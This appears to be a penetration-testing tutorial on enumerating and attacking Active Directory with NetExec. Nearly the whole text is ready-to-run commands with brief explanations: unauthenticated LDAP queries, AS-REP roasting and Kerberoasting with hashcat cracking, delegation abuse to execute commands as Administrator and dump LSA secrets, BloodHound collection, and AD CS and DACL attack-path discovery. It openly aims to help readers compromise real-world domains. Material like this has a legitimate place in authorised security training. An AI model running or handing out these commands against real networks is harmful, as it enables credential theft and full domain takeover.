The Ultimate Guide to Active Directory LDAP Enumeration Using NetExec

✔️ Computers ✔️ Policies ✔️ Delegations ✔️ Service accounts ✔️ GMSA ✔️ Trusts ✔️ Password policy ✔️ ACLs ✔️ Kerberos settings

A single unauthenticated LDAP bind can sometimes reveal everything needed to compromise a domain.

NetExec makes this process fast, simple, and deadly effective.

🔥 AS-REP Roastable Accounts Enum(No Pre-Auth Required)

These are user accounts that do not require Kerberos pre-authentication, making them vulnerable to AS-REP roasting.

Command

nxc ldap <IP> -u '' -p '' --query "(userACCOUNTControl:1.2.840.113556.1.4.883:=4194304)" "samaccountname"

As_reproasting Enum

What It Does

Searches for accounts with the DONT_REQUIRE_PREAUTH flag set.

Why It Matters

You can extract AS-REP hashes without valid credentials, then crack them offline.

👤 User Enumeration

1. Single user lookup

nxc ldap <IP> -u '' -p '' --query "(samaccountname=username)" ""

✔️ Checks if the user exists ✔️ Pulls attributes returned from LDAP

User Enumeration

2. User with specific attribute

nxc ldap <IP> -u '' -p '' --query "(samaccountname=username)" "memberof"

User Enumeration Specification

✔️ Quickly check group membership ✔️ Great for validating privilege

🌐 Enumerating All Domain Users

All users

nxc ldap <IP> -u '' -p '' --users
nxc ldap <IP> -u '' -p '' --users-export sw-users.txt

All users enum

Active users only

nxc ldap <IP> -u '' -p '' --active-users
nxc ldap <IP> -u '' -p '' --active-users active_users.txt

Active Users Enum

Useful for:

• Wordlists (“username spraying”)
• Identifying dormant accounts
• Spotting naming patterns

🔑 AS-REP Roasting

nxc ldap <IP> -u '' -p '' --asreproast sw-asrep.txt

AS-Reproasting Hash

Crack the hash

hashcat -m 18200 sw-asrep.txt passwords.txt

Cracked Hash

Why it matters

If the domain is misconfigured, a single weak password can give you initial access.

🔥 Kerberoasting

nxc ldap <IP> -u '' -p ''  --kerberoasting sw-kerb.txt

Kerberoasing

What it does

Pulls service account TGS tickets from LDAP.

Why it’s powerful

Service accounts often:

• Have SPNs
• Use weak passwords
• Are highly privileged

Cracking one can lead to domain admin.

🌀 Delegation Enumeration

Identify delegation

nxc ldap <IP> -u '' -p '' --find-delegation

Types identified:

• Unconstrained delegation
• Constrained delegation
• Resource-based constrained delegation (RBCD)

⚠️ Abusing Delegation

Execute commands as Administrator

nxc smb <IP> -u 'delegated_user' -p 'password' --delegate administrator --delegate-spn cifs/STARWARS-DC

Abusing Delegation

Dump LSA using delegation

nxc smb <IP> -u 'delegated_user' -p 'password' --delegate administrator --delegate-spn cifs/STARWARS-DC --lsa

WHY THIS IS HUGE: ✓ Full impersonation ✓ Privilege escalation to Domain Admin ✓ Often overlooked by defenders

🔐 Trusted-for-Delegation Accounts

nxc ldap <IP> -u '' -p '' --trusted-for-delegation

Trusted delegations

These accounts are extremely sensitive — they can impersonate users and authenticate to services.

👑 Enumerating Admin Users

nxc ldap <IP> -u '' -p '' --admin-count

Adminitration Enemeration

Shows:

• Domain Admins
• Enterprise Admins
• Other protected accounts

📏 Password Policy

nxc ldap <IP> -u '' -p '' --pass-pol

Password Policy

Produces:

• Minimum password age
• Password history
• Lockout threshold
• Complexity requirements

Useful for planning password spraying attacks.

🤖 GMSA Enumeration

nxc ldap <IP> -u '' -p '' --gmsa

GMSA Enumeration

Why it matters

GMSA passwords can be used to move laterally across all machines where the gMSA is allowed.

👥 Group Enumeration

All groups

nxc ldap <IP> -u '' -p '' --groups

Groups enumeration

Specific group members

nxc ldap <IP> -u '' -p '' --groups gmsaWebServers

Group Enumeration

Useful for:

• Privileged group hunting
• Delegation paths
• Role identification

🖥️ Computer Enumeration

nxc ldap <IP> -u '' -p '' --computers

Computer Enumeration

🏢 Identify Domain Controllers

nxc ldap <IP> -u '' -p '' --dc-list

DC Enumeration

Useful to:

• Target correct domain controllers for coercion attacks
• Identify forest structure

🆔 Pull Domain SID

nxc ldap <IP> -u '' -p '' --get-sid

SID Enumeration

Used for:

• Golden ticket operations
• SID-brute attacks
• Forest trust mapping

🩸 BloodHound Collection via LDAP

nxc ldap <IP> -u '' -p '' --bloodhound -c All -d STARWARS.local --dns-server <IP>

BloodHound Usage

No need for SharpHound or running executables on the target — clean and stealthy.

🔧 LDAP Modules

Quick overview:

nxc LDAP -L

🖥️ Machine Account Quota (MAQ)

nxc ldap <IP> -u '' -p '' -M maq

MAQ Enum

If MAQ > 0 → You can add machines to the domain.

Attack path:

• Create machine
• Abuse RBCD
• Escalate to DA

📜 Certipy Enumeration (AD CS)

nxc ldap <IP> -u '' -p '' -M certipy-find
nxc ldap <IP> -u '' -p '' -M certipy-find --options

Certificate Enumeration

Identifies:

• Misconfigured templates
• ESC1–ESC8 attack paths
• Enrollment permissions

This is massive for modern enterprise exploitation.

🗒️ User Description Dumping

nxc ldap <IP> -u '' -p '' -M user-desc

Description Enumeration

Many admins store:

• Passwords
• Notes
• Server names
• Privileged credentials

in the description field.

Great intel source.

🔓 Reading DACLs (Access Control Lists)

nxc ldap <IP> -u '' -p '' -M daclread -o TAREGET=username PRINCIPAL='principle' RIGHTS='*'

DACL Enumeration

This allows you to:

• Identify write permissions
• Detect attack paths
• Validate BloodHound results

One of the most powerful modules.

🏁 Conclusion

LDAP enumeration is one of the most underrated but powerful phases of an internal penetration test. With NetExec, you can achieve:

✔️ AS-REP roasting ✔️ Kerberoasting ✔️ Delegation abuse ✔️ GMSA exposure ✔️ AD CS attack surface mapping ✔️ Detailed user/group/computer enumeration ✔️ Full BloodHound collection ✔️ ACL misconfiguration discovery

Master these commands, and you’ll drastically accelerate your ability to compromise real-world Active Directory environments.